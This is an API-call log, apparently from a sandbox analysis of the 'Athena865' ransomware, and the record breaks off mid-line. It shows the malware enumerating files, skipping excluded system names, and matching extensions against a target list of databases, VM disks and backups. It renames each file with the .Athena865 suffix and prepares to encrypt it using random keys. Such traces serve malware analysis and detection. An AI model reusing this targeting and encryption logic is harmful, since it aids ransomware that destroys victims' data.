lstrlenW (lpString="db-journal") returned 10 [0135.594] lstrcmpiW (lpString1="01298_.GIF", lpString2="db-journal") returned -1 [0135.594] lstrlenW (lpString="db-shm") returned 6 [0135.594] lstrcmpiW (lpString1="8_.GIF", lpString2="db-shm") returned -1 [0135.594] lstrlenW (lpString="db-wal") returned 6 [0135.594] lstrcmpiW (lpString1="8_.GIF", lpString2="db-wal") returned -1 [0135.594] lstrlenW (lpString="dbc") returned 3 [0135.594] lstrcmpiW (lpString1="GIF", lpString2="dbc") returned 1 [0135.594] lstrlenW (lpString="dbs") returned 3 [0135.594] lstrcmpiW (lpString1="GIF", lpString2="dbs") returned 1 [0135.594] lstrlenW (lpString="dbt") returned 3 [0135.594] lstrcmpiW (lpString1="GIF", lpString2="dbt") returned 1 [0135.594] lstrlenW (lpString="dbv") returned 3 [0135.594] lstrcmpiW (lpString1="GIF", lpString2="dbv") returned 1 [0135.594] lstrlenW (lpString="dbx") returned 3 [0135.594] lstrcmpiW (lpString1="GIF", lpString2="dbx") returned 1 [0135.594] lstrlenW (lpString="dcb") returned 3 [0135.594] lstrcmpiW (lpString1="GIF", lpString2="dcb") returned 1 [0135.594] lstrcmpiW (lpString1="GIF", lpString2="dct") returned 1 [0135.594] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF.Athena865") returned 73 [0135.594] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif.athena865"), dwFlags=0x1) returned 1 [0135.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.605] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=700) returned 1 [0135.606] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0135.606] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0135.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0135.610] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01299_.GIF" | out: lpString1="WB01299_.GIF") returned="WB01299_.GIF" [0135.610] lstrlenW (lpString="WB01299_.GIF") returned 12 [0135.611] lstrlenW (lpString="Athena865") returned 9 [0135.611] lstrcmpiW (lpString1="1299_.GIF", lpString2="Athena865") returned -1 [0135.611] lstrlenW (lpString=".dll") returned 4 [0135.611] lstrcmpiW (lpString1="WB01299_.GIF", lpString2=".dll") returned 1 [0135.611] lstrlenW (lpString=".lnk") returned 4 [0135.611] lstrcmpiW (lpString1="WB01299_.GIF", lpString2=".lnk") returned 1 [0135.611] lstrlenW (lpString=".ini") returned 4 [0135.611] lstrcmpiW (lpString1="WB01299_.GIF", lpString2=".ini") returned 1 [0135.611] lstrlenW (lpString=".sys") returned 4 [0135.611] lstrcmpiW (lpString1="WB01299_.GIF", lpString2=".sys") returned 1 [0135.611] lstrlenW (lpString="WB01299_.GIF") returned 12 [0135.611] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF.Athena865") returned 73 [0135.611] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif.athena865"), dwFlags=0x1) returned 1 [0135.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.614] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=318) returned 1 [0135.615] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0135.615] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0135.615] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0135.620] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01300_.GIF" | out: lpString1="WB01300_.GIF") returned="WB01300_.GIF" [0135.620] lstrlenW (lpString="WB01300_.GIF") returned 12 [0135.620] lstrlenW (lpString="Athena865") returned 9 [0135.620] lstrcmpiW (lpString1="1300_.GIF", lpString2="Athena865") returned -1 [0135.620] lstrlenW (lpString=".dll") returned 4 [0135.620] lstrcmpiW (lpString1="WB01300_.GIF", lpString2=".dll") returned 1 [0135.620] lstrlenW (lpString=".lnk") returned 4 [0135.620] lstrcmpiW (lpString1="WB01300_.GIF", lpString2=".lnk") returned 1 [0135.620] lstrlenW (lpString=".ini") returned 4 [0135.620] lstrcmpiW (lpString1="WB01300_.GIF", lpString2=".ini") returned 1 [0135.620] lstrlenW (lpString=".sys") returned 4 [0135.620] lstrcmpiW (lpString1="WB01300_.GIF", lpString2=".sys") returned 1 [0135.620] lstrlenW (lpString="WB01300_.GIF") returned 12 [0135.620] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF.Athena865") returned 73 [0135.620] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif.athena865"), dwFlags=0x1) returned 1 [0135.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.630] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=592) returned 1 [0135.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0135.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0135.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0135.634] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01301_.GIF" | out: lpString1="WB01301_.GIF") returned="WB01301_.GIF" [0135.634] lstrlenW (lpString="WB01301_.GIF") returned 12 [0135.634] lstrlenW (lpString="Athena865") returned 9 [0135.634] lstrcmpiW (lpString1="1301_.GIF", lpString2="Athena865") returned -1 [0135.634] lstrlenW (lpString=".dll") returned 4 [0135.634] lstrcmpiW (lpString1="WB01301_.GIF", lpString2=".dll") returned 1 [0135.634] lstrlenW (lpString=".lnk") returned 4 [0135.634] lstrcmpiW (lpString1="WB01301_.GIF", lpString2=".lnk") returned 1 [0135.634] lstrlenW (lpString=".ini") returned 4 [0135.635] lstrcmpiW (lpString1="WB01301_.GIF", lpString2=".ini") returned 1 [0135.635] lstrlenW (lpString=".sys") returned 4 [0135.635] lstrcmpiW (lpString1="WB01301_.GIF", lpString2=".sys") returned 1 [0135.635] lstrlenW (lpString="WB01301_.GIF") returned 12 [0135.635] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF.Athena865") returned 73 [0135.635] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif.athena865"), dwFlags=0x1) returned 1 [0135.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.638] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=681) returned 1 [0135.638] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0135.638] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0135.638] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0135.642] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01304G.GIF" | out: lpString1="WB01304G.GIF") returned="WB01304G.GIF" [0135.642] lstrlenW (lpString="WB01304G.GIF") returned 12 [0135.642] lstrlenW (lpString="Athena865") returned 9 [0135.642] lstrcmpiW (lpString1="1304G.GIF", lpString2="Athena865") returned -1 [0135.642] lstrlenW (lpString=".dll") returned 4 [0135.642] lstrcmpiW (lpString1="WB01304G.GIF", lpString2=".dll") returned 1 [0135.642] lstrlenW (lpString=".lnk") returned 4 [0135.642] lstrcmpiW (lpString1="WB01304G.GIF", lpString2=".lnk") returned 1 [0135.642] lstrlenW (lpString=".ini") returned 4 [0135.642] lstrcmpiW (lpString1="WB01304G.GIF", lpString2=".ini") returned 1 [0135.642] lstrlenW (lpString=".sys") returned 4 [0135.642] lstrcmpiW (lpString1="WB01304G.GIF", lpString2=".sys") returned 1 [0135.642] lstrlenW (lpString="WB01304G.GIF") returned 12 [0135.642] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF.Athena865") returned 73 [0135.642] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif.athena865"), dwFlags=0x1) returned 1 [0135.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.644] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8310) returned 1 [0135.644] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0135.644] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0135.644] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0135.648] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01330_.GIF" | out: lpString1="WB01330_.GIF") returned="WB01330_.GIF" [0135.648] lstrlenW (lpString="WB01330_.GIF") returned 12 [0135.648] lstrlenW (lpString="Athena865") returned 9 [0135.648] lstrcmpiW (lpString1="1330_.GIF", lpString2="Athena865") returned -1 [0135.648] lstrlenW (lpString=".dll") returned 4 [0135.648] lstrcmpiW (lpString1="WB01330_.GIF", lpString2=".dll") returned 1 [0135.648] lstrlenW (lpString=".lnk") returned 4 [0135.648] lstrcmpiW (lpString1="WB01330_.GIF", lpString2=".lnk") returned 1 [0135.648] lstrlenW (lpString=".ini") returned 4 [0135.649] lstrcmpiW (lpString1="WB01330_.GIF", lpString2=".ini") returned 1 [0135.649] lstrlenW (lpString=".sys") returned 4 [0135.649] lstrcmpiW (lpString1="WB01330_.GIF", lpString2=".sys") returned 1 [0135.649] lstrlenW (lpString="WB01330_.GIF") returned 12 [0135.649] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF.Athena865") returned 73 [0135.649] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif.athena865"), dwFlags=0x1) returned 1 [0135.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.654] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=370) returned 1 [0135.654] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0135.654] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0135.654] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0135.659] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01734_.GIF" | out: lpString1="WB01734_.GIF") returned="WB01734_.GIF" [0135.659] lstrlenW (lpString="WB01734_.GIF") returned 12 [0135.659] lstrlenW (lpString="Athena865") returned 9 [0135.659] lstrcmpiW (lpString1="1734_.GIF", lpString2="Athena865") returned -1 [0135.659] lstrlenW (lpString=".dll") returned 4 [0135.660] lstrcmpiW (lpString1="WB01734_.GIF", lpString2=".dll") returned 1 [0135.660] lstrlenW (lpString=".lnk") returned 4 [0135.660] lstrcmpiW (lpString1="WB01734_.GIF", lpString2=".lnk") returned 1 [0135.660] lstrlenW (lpString=".ini") returned 4 [0135.660] lstrcmpiW (lpString1="WB01734_.GIF", lpString2=".ini") returned 1 [0135.660] lstrlenW (lpString=".sys") returned 4 [0135.660] lstrcmpiW (lpString1="WB01734_.GIF", lpString2=".sys") returned 1 [0135.660] lstrlenW (lpString="WB01734_.GIF") returned 12 [0135.660] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF.Athena865") returned 73 [0135.660] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif.athena865"), dwFlags=0x1) returned 1 [0135.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.662] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2201) returned 1 [0135.662] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0135.662] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0135.662] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0135.663] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0135.663] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0135.663] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.663] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xba0, lpName=0x0) returned 0x154 [0135.665] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xba0) returned 0x100000 [0135.666] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0135.667] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0135.667] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0135.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0135.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0135.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0135.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0135.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0135.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0135.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0135.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0135.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0135.668] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0135.668] CloseHandle (hObject=0x154) returned 1 [0135.668] CloseHandle (hObject=0x17c) returned 1 [0135.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0135.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0135.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0135.668] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b18d700, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b18d700, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WB01740_.GIF", cAlternateFileName="")) returned 1 [0135.668] lstrcmpiW (lpString1="WB01740_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0135.668] lstrcmpiW (lpString1="WB01740_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0135.668] lstrcmpiW (lpString1="WB01740_.GIF", lpString2=".") returned 1 [0135.668] lstrcmpiW (lpString1="WB01740_.GIF", lpString2="..") returned 1 [0135.668] lstrcmpiW (lpString1="WB01740_.GIF", lpString2="windows") returned -1 [0135.668] lstrcmpiW (lpString1="WB01740_.GIF", lpString2="bootmgr") returned 1 [0135.668] lstrcmpiW (lpString1="WB01740_.GIF", lpString2="temp") returned 1 [0135.668] lstrcmpiW (lpString1="WB01740_.GIF", lpString2="pagefile.sys") returned 1 [0135.668] lstrcmpiW (lpString1="WB01740_.GIF", lpString2="boot") returned 1 [0135.668] lstrcmpiW (lpString1="WB01740_.GIF", lpString2="ids.txt") returned 1 [0135.669] lstrcmpiW (lpString1="WB01740_.GIF", lpString2="ntuser.dat") returned 1 [0135.669] lstrcmpiW (lpString1="WB01740_.GIF", lpString2="perflogs") returned 1 [0135.669] lstrcmpiW (lpString1="WB01740_.GIF", lpString2="MSBuild") returned 1 [0135.669] lstrlenW (lpString="WB01740_.GIF") returned 12 [0135.669] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01740_.GIF" | out: lpString1="WB01740_.GIF") returned="WB01740_.GIF" [0135.669] lstrlenW (lpString="WB01740_.GIF") returned 12 [0135.669] lstrlenW (lpString="Athena865") returned 9 [0135.669] lstrcmpiW (lpString1="1740_.GIF", lpString2="Athena865") returned -1 [0135.669] lstrlenW (lpString=".dll") returned 4 [0135.669] lstrcmpiW (lpString1="WB01740_.GIF", lpString2=".dll") returned 1 [0135.669] lstrlenW (lpString=".lnk") returned 4 [0135.669] lstrcmpiW (lpString1="WB01740_.GIF", lpString2=".lnk") returned 1 [0135.669] lstrlenW (lpString=".ini") returned 4 [0135.669] lstrcmpiW (lpString1="WB01740_.GIF", lpString2=".ini") returned 1 [0135.669] lstrlenW (lpString=".sys") returned 4 [0135.669] lstrcmpiW (lpString1="WB01740_.GIF", lpString2=".sys") returned 1 [0135.669] lstrlenW (lpString="WB01740_.GIF") returned 12 [0135.669] lstrlenW (lpString="bak") returned 3 [0135.669] lstrcmpiW (lpString1="GIF", lpString2="bak") returned 1 [0135.669] lstrlenW (lpString="ba_") returned 3 [0135.669] lstrcmpiW (lpString1="GIF", lpString2="ba_") returned 1 [0135.669] lstrlenW (lpString="dbb") returned 3 [0135.669] lstrcmpiW (lpString1="GIF", lpString2="dbb") returned 1 [0135.669] lstrlenW (lpString="vmdk") returned 4 [0135.669] lstrcmpiW (lpString1=".GIF", lpString2="vmdk") returned -1 [0135.669] lstrlenW (lpString="rar") returned 3 [0135.669] lstrcmpiW (lpString1="GIF", lpString2="rar") returned -1 [0135.669] lstrlenW (lpString="zip") returned 3 [0135.670] lstrcmpiW (lpString1="GIF", lpString2="zip") returned -1 [0135.670] lstrlenW (lpString="tgz") returned 3 [0135.670] lstrcmpiW (lpString1="GIF", lpString2="tgz") returned -1 [0135.670] lstrlenW (lpString="vbox") returned 4 [0135.670] lstrcmpiW (lpString1=".GIF", lpString2="vbox") returned -1 [0135.670] lstrlenW (lpString="vdi") returned 3 [0135.670] lstrcmpiW (lpString1="GIF", lpString2="vdi") returned -1 [0135.670] lstrlenW (lpString="vhd") returned 3 [0135.670] lstrcmpiW (lpString1="GIF", lpString2="vhd") returned -1 [0135.670] lstrlenW (lpString="vhdx") returned 4 [0135.670] lstrcmpiW (lpString1=".GIF", lpString2="vhdx") returned -1 [0135.670] lstrlenW (lpString="avhd") returned 4 [0135.670] lstrcmpiW (lpString1=".GIF", lpString2="avhd") returned -1 [0135.670] lstrlenW (lpString="db") returned 2 [0135.670] lstrcmpiW (lpString1="IF", lpString2="db") returned 1 [0135.670] lstrlenW (lpString="db2") returned 3 [0135.670] lstrcmpiW (lpString1="GIF", lpString2="db2") returned 1 [0135.670] lstrlenW (lpString="db3") returned 3 [0135.670] lstrcmpiW (lpString1="GIF", lpString2="db3") returned 1 [0135.670] lstrlenW (lpString="dbf") returned 3 [0135.670] lstrcmpiW (lpString1="GIF", lpString2="dbf") returned 1 [0135.670] lstrlenW (lpString="mdf") returned 3 [0135.670] lstrcmpiW (lpString1="GIF", lpString2="mdf") returned -1 [0135.670] lstrlenW (lpString="mdb") returned 3 [0135.670] lstrcmpiW (lpString1="GIF", lpString2="mdb") returned -1 [0135.670] lstrlenW (lpString="sql") returned 3 [0135.670] lstrcmpiW (lpString1="GIF", lpString2="sql") returned -1 [0135.670] lstrlenW (lpString="sqlite") returned 6 [0135.670] lstrcmpiW (lpString1="0_.GIF", lpString2="sqlite") returned -1 [0135.671] lstrlenW (lpString="sqlite3") returned 7 [0135.671] lstrcmpiW (lpString1="40_.GIF", lpString2="sqlite3") returned -1 [0135.671] lstrlenW (lpString="sqlitedb") returned 8 [0135.671] lstrcmpiW (lpString1="740_.GIF", lpString2="sqlitedb") returned -1 [0135.671] lstrlenW (lpString="xml") returned 3 [0135.671] lstrcmpiW (lpString1="GIF", lpString2="xml") returned -1 [0135.671] lstrlenW (lpString="$er") returned 3 [0135.671] lstrcmpiW (lpString1="GIF", lpString2="$er") returned 1 [0135.671] lstrlenW (lpString="4dd") returned 3 [0135.671] lstrcmpiW (lpString1="GIF", lpString2="4dd") returned 1 [0135.671] lstrlenW (lpString="4dl") returned 3 [0135.671] lstrcmpiW (lpString1="GIF", lpString2="4dl") returned 1 [0135.671] lstrlenW (lpString="^^^") returned 3 [0135.671] lstrcmpiW (lpString1="GIF", lpString2="^^^") returned 1 [0135.671] lstrlenW (lpString="abs") returned 3 [0135.671] lstrcmpiW (lpString1="GIF", lpString2="abs") returned 1 [0135.671] lstrlenW (lpString="abx") returned 3 [0135.671] lstrcmpiW (lpString1="GIF", lpString2="abx") returned 1 [0135.671] lstrlenW (lpString="accdb") returned 5 [0135.671] lstrcmpiW (lpString1="_.GIF", lpString2="accdb") returned -1 [0135.671] lstrlenW (lpString="accdc") returned 5 [0135.671] lstrcmpiW (lpString1="_.GIF", lpString2="accdc") returned -1 [0135.671] lstrlenW (lpString="accde") returned 5 [0135.671] lstrcmpiW (lpString1="_.GIF", lpString2="accde") returned -1 [0135.671] lstrlenW (lpString="accdr") returned 5 [0135.671] lstrcmpiW (lpString1="_.GIF", lpString2="accdr") returned -1 [0135.671] lstrlenW (lpString="accdt") returned 5 [0135.671] lstrcmpiW (lpString1="_.GIF", lpString2="accdt") returned -1 [0135.671] lstrlenW (lpString="accdw") returned 5 [0135.672] lstrcmpiW (lpString1="_.GIF", lpString2="accdw") returned -1 [0135.672] lstrlenW (lpString="accft") returned 5 [0135.672] lstrcmpiW (lpString1="_.GIF", lpString2="accft") returned -1 [0135.672] lstrlenW (lpString="adb") returned 3 [0135.672] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0135.672] lstrlenW (lpString="adb") returned 3 [0135.672] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0135.672] lstrlenW (lpString="ade") returned 3 [0135.672] lstrcmpiW (lpString1="GIF", lpString2="ade") returned 1 [0135.672] lstrlenW (lpString="adf") returned 3 [0135.672] lstrcmpiW (lpString1="GIF", lpString2="adf") returned 1 [0135.672] lstrlenW (lpString="adn") returned 3 [0135.672] lstrcmpiW (lpString1="GIF", lpString2="adn") returned 1 [0135.672] lstrlenW (lpString="adp") returned 3 [0135.672] lstrcmpiW (lpString1="GIF", lpString2="adp") returned 1 [0135.672] lstrlenW (lpString="alf") returned 3 [0135.672] lstrcmpiW (lpString1="GIF", lpString2="alf") returned 1 [0135.672] lstrlenW (lpString="ask") returned 3 [0135.672] lstrcmpiW (lpString1="GIF", lpString2="ask") returned 1 [0135.672] lstrlenW (lpString="btr") returned 3 [0135.672] lstrcmpiW (lpString1="GIF", lpString2="btr") returned 1 [0135.672] lstrlenW (lpString="cat") returned 3 [0135.672] lstrcmpiW (lpString1="GIF", lpString2="cat") returned 1 [0135.672] lstrlenW (lpString="cdb") returned 3 [0135.672] lstrcmpiW (lpString1="GIF", lpString2="cdb") returned 1 [0135.672] lstrlenW (lpString="ckp") returned 3 [0135.672] lstrcmpiW 